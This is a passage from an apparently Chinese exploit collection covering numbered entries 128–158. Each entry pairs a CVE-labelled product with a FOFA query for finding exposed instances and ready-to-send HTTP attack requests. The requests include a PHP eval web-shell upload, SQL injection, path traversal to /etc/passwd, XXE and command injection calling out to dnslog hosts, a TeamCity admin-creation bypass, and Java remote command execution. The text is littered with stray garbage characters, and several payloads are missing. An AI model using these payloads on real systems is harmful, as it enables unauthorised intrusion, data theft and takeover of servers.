
3 M' n( l/ \+ L  g% k/ zBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
$ Y. k0 o: z( Y0 gContent-Type: text/plain

  F# C6 f/ r. w$ Y8 c<?xml version="1.0" encoding="UTF-8"?>
0 M7 w- g# N; a9 @<!DOCTYPE test [
, C4 E  ?8 N1 u' e  k, s5 S8 K<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
& R( [: l: W1 Q]
# Y5 ]: c  y7 M$ U- v2 F2 F$ E>
<test>&t;</test>
& |$ _! e3 c# d: q- V: ]# P------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
& ]5 G* s& E. v' p! @) i% A% I8 ZFOFA：app="Adobe-ColdFusion"
) M# G0 w8 ?7 @4 w7 e. I2 q  I" YPAYLOAD
; l' i. D9 c/ I' b, A8 \7 f6 V+ c$ M5 n
129. Adobe ColdFusion 任意文件读取
' F! X+ v* `' V: j6 `5 A0 TCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
+ B- d7 O% {. r( }第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
2 }& z7 S, n5 R: y! I+ fHost: x.x.x.x
: [, K% T1 X8 i6 q) eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
" T# \: O$ R3 Q9 oConnection: close
/ s7 x" z: d5 U% \; q( b* [- _$ a

第二步，读取/etc/passwd文件
+ |; _9 \4 {8 \6 ^. vGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
$ g7 ]: [& r3 Y1 bHost: x.x.x.x
$ _8 b* c, ~3 Z; MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 ^! _) Q6 o4 I* z) xAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
( Q6 N( V: Z' r% `5 a7 q! K, c- v$ ~5 Iuuid: 85f60018-a654-4410-a783-f81cbd5000b9
8 ^9 U5 J" `& V  B8 I+ {3 x+ }
& d, T! b: O+ S. ?2 P0 r! _
" g: E' E+ A3 w3 I) Z& v7 d: }130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
) c/ z, B. r2 L2 o$ A; I. GAccept: application/json, text/javascript, */*; q=0.01
, k% P( |. x& z: pX-Requested-With: XMLHttpRequest
9 Z; ?3 M' R9 P6 m; SUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
' E" T9 W. _+ T! A0 N  }Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
  Y1 P' v8 A& ]2 k; q, e$ IAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
* B# J7 q6 A% H  |& Z5 b& ^Connection: close

1 L" U$ s2 c$ L+ t( y" W------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

! h# `4 R1 N0 M8 m9 _! V<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


( {2 E0 H! n3 W7 A9 V) H9 ~3 D131. Mini-Tmall <=20231017 SQL注入
" J8 t" G5 ^5 TFOFA：icon_hash="-2087517259"
# i: T8 B4 |( p3 S' F$ w1 H$ y后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
' _' j* n5 b4 z6 ICVE-2024-27198
+ Q; A8 S9 h1 @6 n  @+ WFOFA：body="Log in to TeamCity"
* V! n3 Y6 Z) d# D2 `, iPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
' J% a. Q( h; z( M7 `; gHost: 192.168.40.130:8111
3 O' m% ~, e0 Y$ P9 c1 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
% h& V* q8 \. I" eContent-Type: application/json
Accept-Encoding: gzip, deflate

8 A6 ~( i6 m5 N2 J/ _; p- ]# s$ q{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

7 @6 ]# a# d2 i' B  n, d5 Q
6 k6 }- }9 r2 }0 z1 o6 `4 v* x( BCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp

; t5 p9 n! I! Z4 A
6 P- b$ Z! V. `. _' [9 v  ICVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
8 u. s* m7 z; dFOFA：body="/public/qbsp.php"
/ g( h% M- ?( e9 XPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

* ]5 j1 m  ?1 @+ O8 q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

  |+ `- }+ R  T; q6 P6 L' N9 s/ x<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


+ V7 a3 p& r. Y) k- T
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
) A9 R1 @# a5 G  ^9 rNetentsec NS-ASG Application Security Gateway 6.3版本
* W; j/ Z9 ~% w. k) }2 xFOFA：app="网康科技-NS-ASG安全网关"
( x' U& ^: ~) `/ s1 KPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
1 F7 y; y& T4 z/ ~4 G( ?2 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
! i1 N+ l4 H4 `0 ^4 ~Accept: */*
4 m& [  c. ?' P' L( Q- _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
- m/ c0 j  m: r6 ?6 `* A7 YSec-Fetch-Site: same-origin
0 W4 r( ]( I$ D6 T. q& LTe: trailers
! @7 M4 R* R  L  A$ p9 q* xConnection: close
% ^4 C3 }! f+ v% v- y, P" RContent-Type: application/x-www-form-urlencoded
( f; L5 s, H7 L& O5 hContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


( Q5 e1 D, y! Q% k" o/ T: v- {135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
& d1 \; u2 }4 {; u+ ~CVE-2024-2022
% j* l. n1 ^  {( k9 qNetentsec NS-ASG Application Security Gateway 6.3版本
# `2 v' i1 i! b! l4 G% i# ^% dFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ l6 E1 Q4 b0 q0 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" q; A# S/ L8 IAccept-Encoding: gzip, deflate
3 H% O' H5 ?6 mAccept-Language: zh-CN,zh;q=0.9
2 U; A. a* L6 d0 IConnection: close

$ ?1 O+ |2 O" G4 z1 k2 _
136. NextChat cors SSRF
& j5 e7 W! n2 ~% |7 a$ O. I2 g( xCVE-2023-49785
. W6 E. j" [$ G- Y( o/ @% {! fFOFA：title="NextChat"
3 K9 d* `3 }9 C: o/ k6 B6 PGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
8 ~$ \0 Y( g' w7 |Accept-Language: en
Accept-Encoding: gzip


5 o3 U+ ?  Y3 D: @137. 福建科立迅通信指挥调度平台down_file.php sql注入
1 i; N: e/ W& Z/ l- y+ UCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
( Y% Y( l! [( y* @8 ~1 U0 d' j* PHost: x.x.x.x
; Q  ^7 [8 T# j. O$ k$ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ Z4 U) X  [( K7 P/ l) _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 O/ e9 Q5 M9 Z6 }% uConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
8 r; z( k1 G* f& @* TUpgrade-Insecure-Requests: 1

# U1 C! K( k; L6 `0 c# T& u
! p* G; D  G! N138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
. Q# G* H( f9 mCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
. Z0 w0 e) s& K( K' ~/ W4 s% q# _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; y0 y: g# w' s8 T& e( N/ TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- d" E4 E! Z+ `* UUpgrade-Insecure-Requests: 1


; t1 s: l9 Y8 c. z5 d# e2 h0 h139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
) Z0 y) \: o5 ]1 w  s. TGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
, b( i: A1 I3 ~; j" J) u/ E! Q% C6 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 z& L; o& d0 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ g: C( h" W/ P) `& M2 yAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

; Y0 n2 f- Z9 `: w
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
$ {3 e8 X# {, c0 x1 n; FCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 D( o* c+ k* bGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" E  E' Y9 G3 |6 d- W# p6 |6 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
7 r1 \4 |" {1 t( F9 q2 L) RConnection: close
+ e& p0 l2 M  [3 X9 M+ Z3 eCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


8 ]" M" F, |& K  O& p) }& p( \# [141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
4 z+ d& `5 k, n, [4 X) \POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
8 {8 C' z2 w6 u- s6 p" s0 _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
9 J3 `8 q9 G2 N* T& ?( E( P8 y( l( m" BContent-Type: application/x-www-form-urlencoded


$ J% D5 @  j& g- _7 u+ O# @" Wdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
; u' o' k0 c1 r. [9 V* W. @

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
) U8 k1 {  W6 L% w* B0 i1 k# Z: p143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
1 `- X# U/ X" n1 zFOFA：title='AP setup' && header='netis'
PAYLOAD
7 `) P/ E/ S: `
* y+ Y. Q. @+ ]" U1 s* m, m8 N/ x* z3 S144. D-Link nas_sharing.cgi 命令注入
' c6 K8 k5 l- Z8 J5 F) g" BFOFA：app="D_Link-DNS-ShareCenter"
5 |- P8 F+ ~5 s6 J& y2 Rsystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
: J7 \+ F3 S, N1 D% xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
) [' |6 P' W- \Connection: close
& g% T1 M: S# A7 }Accept: */*
Accept-Language: en
Accept-Encoding: gzip
9 f& |9 i. I. C5 N

% q/ _. `# s! m7 Z145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
/ E5 \- O9 X, L7 x& G0 r4 vCVE-2024-3400
$ g/ o4 G4 Q, L9 s/ S) K" k$ hFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
6 z- ^3 b+ h" C# K8 c

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
2 c$ O" O2 r3 C1 @: fFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
5 O5 x' ?1 q# G% tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
: u7 G: {/ b; xAccept-Encoding: gzip, deflate
' `& t  y+ s' i1 {Connection: close

$ H( J8 \6 S+ N3 Y% o4 F
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
* J1 i: P$ M1 g; e+ aCVE-2024-32399
FOFA：body="RaidenMAILD"
# `  p( Z# e# I1 h7 c* cGET /webeditor/../../../windows/win.ini HTTP/1.1
7 f  g/ W/ o8 U2 |8 @Host: 127.0.0.1:81
Cache-Control: max-age=0
! M, U& r2 N6 S3 p3 H# N& B( vConnection: close
. }7 B, H+ E' O$ I* }( H5 E
8 x, j0 V' m) ?% a. o, y6 j
148. CrushFTP 认证绕过模板注入
! U9 m. {1 A7 n9 e" C6 A8 }4 S: K9 xCVE-2024-4040
6 A, e/ v$ X. C0 TFOFA：body="CrushFTP"
PAYLOAD
$ }) k) W; C% Y4 k4 b& m# M
: K" m5 ]/ E* a# X5 y  T# k2 \149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"
$ b2 B" T9 `# a) F
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
" a' t: [' Z9 m/ \1 X5 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
% v4 i# z4 r* `1 u3 f* W; q5 F8 mAccept-Language: zh-CN,zh;q=0.9
3 L: c" n) }5 r" Y/ cContent-Type: application/json;charset=UTF-8
) z0 O4 n  `3 z( t5 ?# X: u4 g3 [Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
+ i' C( u/ Q/ C" E1 D$ Y9 Y% y
150. AJ-Report 1.4.0 认证绕过与远程代码执行
. a1 x3 s3 r& Z: ^& pFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
) c1 c4 Q8 ]0 J6 s; wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 G1 l( |5 v6 U$ lAccept-Encoding: gzip, deflate, br
! m: |; _& b. X8 kAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
" i9 P4 T& {3 x  Z' \0 |Connection: close
, p! V% I- ]3 {Content-Length: 339
! O8 t: Q0 i# @% B$ o" J. Y
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
! F6 {* H8 q2 m4 w) V9 m
+ a# N. ]2 T" ^: ]; `
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
) ^/ t4 D) l' J% @. q1 ~GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
  c% S% c6 [- F; Y' TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 e- H: T0 C1 u- m, `+ XAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
' V* Z+ o7 n# Z3 R9 |CVE-2024-1212
2 N* E$ M3 h5 V- U* Z* ILoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
1 H. h( k- A* n8 |  d, @& OLoadMaster <= 7.2.48.10 (LTS)
; ]+ }1 a- L) g" ^7 SFOFA：body="LoadMaster"
! N" r9 j' y0 DJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
5 A& e  @+ F( y. i& FConnection: close
Accept: */*
: i9 P0 z- c  ^% x3 UAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

  t, M( m: h( f+ m) |: O/ }# s
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
$ z+ E' {; E( \8 _; D第一步，请求/config文件获取componets的id
http://x.x.x.x/config
2 \8 g: H0 g* V4 J

6 x) S6 Y' v3 ]' }9 R" k第二步，将/etc/passwd的内容写入到一个临时文件
# Y# y0 u1 ]& n" U$ M. d6 T7 y7 }' ~POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
- v0 X: U0 V3 \7 g6 y% {" G& E8 bContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
, l4 [: J5 ?. V7 t* e
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
9 A3 \  [  r+ Q0 q$ [3 H

- @* L/ L+ [4 z( ]& P5 e' x第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


154. 天维尔消防救援作战调度平台 SQL注入
; y) I  f. |- _CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
2 K( B% T6 T0 ]5 S* n4 B+ n. KHost: x.x.x.x
2 D& J) K: J" A' E4 W9 o4 }Content-Length: 106
) m1 T) }) `$ A5 f  Q% T" E! SCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
' N* x( f! a6 n9 GOrigin: http://x.x.x.x
( ~  D0 D) [' y2 I0 C  L: i  P1 h2 mContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
# X' \0 r. z, {7 A6 e0 HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
. T7 b# @# d* h% P9 dAccept-Encoding: gzip, deflate
3 e- p+ @+ U8 H& K* Q( dAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
7 l8 `! {  {+ g  pConnection: close
- Y4 t( ~- y1 C1 _5 G
  _& m8 {4 V* S3 M! R0 ^0 `{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
1 H7 y' C6 B( i; e
& T& v* A- g2 p) L* W; @
2 f+ b6 g1 ]8 ]0 D155. 六零导航页 file.php 任意文件上传
8 o  o3 y! w$ k" @( p: z9 {; JCVE-2024-34982
+ x8 Z& L6 l8 P7 \9 Y" yFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
# A9 Z9 v( y% x( z, ]6 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) ?2 f. m  P# p7 v9 E  v* SConnection: close
$ C0 @, H! F$ Y! w( uContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
/ Q" W5 g4 [# M( _9 xAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
9 U+ ?  o- |/ M; L2 zX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
: U  J0 g+ ~7 U! `5 m  DContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
2 n$ ?$ A2 l5 n- d
<?php phpinfo();unlink(__FILE__);?>
/ S" _% I3 O$ O( M) B-----------------------------qttl7vemrsold314zg0f--
3 m" [5 f. w& L1 r3 L2 _. N

& Q* w8 j, @! E* R) u访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
+ @" P! K, n# K' `& w- pCVE-2024-3721
+ o% T: m: j" o$ V; y% }FOFA："Location: /login.rsp"
7 Y  Q3 [. ^0 m  a* e5 |/ M·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

( k0 I/ S6 N6 g: }: `/ W
' x9 j. {, O5 \POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
! z" J' Q7 n! ]" RUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( D' ?1 b9 p: YConnection: close
& s! k+ ]& R" }/ mContent-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
  ~/ N; m( W5 y7 Z. o, g% }

' C6 z8 T1 Y8 H' E# j6 N157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
! E7 E% t2 Y& X, i  v+ w4 sFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
- a" ?/ ?% }0 O2 r# H, i& q# WHost: x.x.x.x
: U& J, `+ j3 H& V+ v5 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
4 U' k0 r! ?/ b6 h* ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% U# J3 Q# U) s+ fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
" Q  Q1 i* }. G: qUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
8 S% g1 a, B( b3 [Content-Type: application/octet-stream

% {  u: Z" s1 l1 u0 Rnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

  |8 m) D3 d9 [5 a  c! W; knull
1 D7 v2 ?7 J2 Q0 E; o2 R; z------WebKitFormBoundary1imovELzPsfzp5dN
7 a  ]6 H7 S8 i% q" AContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

; a& ]2 N8 r( I8 ~2 _0 Rnull
, y* m( s5 T+ B+ u) R0 b2 r------WebKitFormBoundary1imovELzPsfzp5dN
- L- O" i6 f8 l% @+ WContent-Disposition: form-data; name="filefolder"

/ V8 h- ]" f) t% n( `1 s7 }% O+ qnull
* K9 r% X, T0 s) t; b------WebKitFormBoundary1imovELzPsfzp5dN--
  V+ r7 b$ G* a3 W

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
; X' y+ g; O  W: a' CPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
) U4 A' L2 C) _# ~+ e+ O6 X0 OContent-Type: application/x-www-form-urlencoded

